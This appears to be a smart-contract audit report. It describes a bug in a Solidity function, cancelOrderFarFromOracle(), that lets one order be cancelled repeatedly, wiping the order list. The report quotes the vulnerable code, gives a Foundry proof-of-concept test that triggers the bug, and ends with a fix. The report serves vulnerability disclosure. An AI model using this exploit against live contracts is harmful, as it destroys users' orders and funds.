Summary
Using the cancelOrderFarFromOracle()
function you can cancel the same order multiple times
Vulnerability Details
when the orderId reaches its limit 65000, users are able to call the cancelOrderFarFromOracle()
as many times as possible. The fact that this function does not check if the order is active, leads to canceling the same order multiple times.
function cancelOrderFarFromOracle(
address asset,
O orderType,
uint16 lastOrderId,
uint16 numOrdersToCancel
) external onlyValidAsset(asset) nonReentrant {
if (s.asset[asset].orderId < 65000) {
revert Errors.OrderIdCountTooLow();
}
if (numOrdersToCancel > 1000) {
revert Errors.CannotCancelMoreThan1000Orders();
}
if (msg.sender == LibDiamond.diamondStorage().contractOwner) {
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
orderType == O.LimitAsk
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
s.asks.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL
) {
s.shorts.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else {
revert Errors.NotLastOrder();
}
} else {
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitAsk
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
s.asks.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL
) {
s.shorts.cancelOrder(asset, lastOrderId);
} else {
revert Errors.NotLastOrder();
}
}
}
In addition, canceling the same order two times leads to losing the whole list of orders.
here is a Proof of Concept:
Step1:
To be able to run the PoC in the next step you should first decrease the 65000 to 2 for example just to let the script run and finish its job and not wait too long. In addition, what works for a limit of 2 works too for 65000.
Step2:
Run the following foundry script:
function testTowCancelLeadToLoss() public {
fundLimitAskOpt(1 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(2 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(3 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(4 ether, DEFAULT_AMOUNT, receiver);
STypes.Order[] memory asks = getAsks();
vm.prank(sender);
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 103,
numOrdersToCancel: 1
});
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 103,
numOrdersToCancel: 1
});
asks = getAsks();
assertEq(asks.length, 0);
}
Impact
Funds and all orders loss
Tools Used
Manual
Recommendations
you should check the status of the order or call the cancelBid/cancelAsk function according to the type.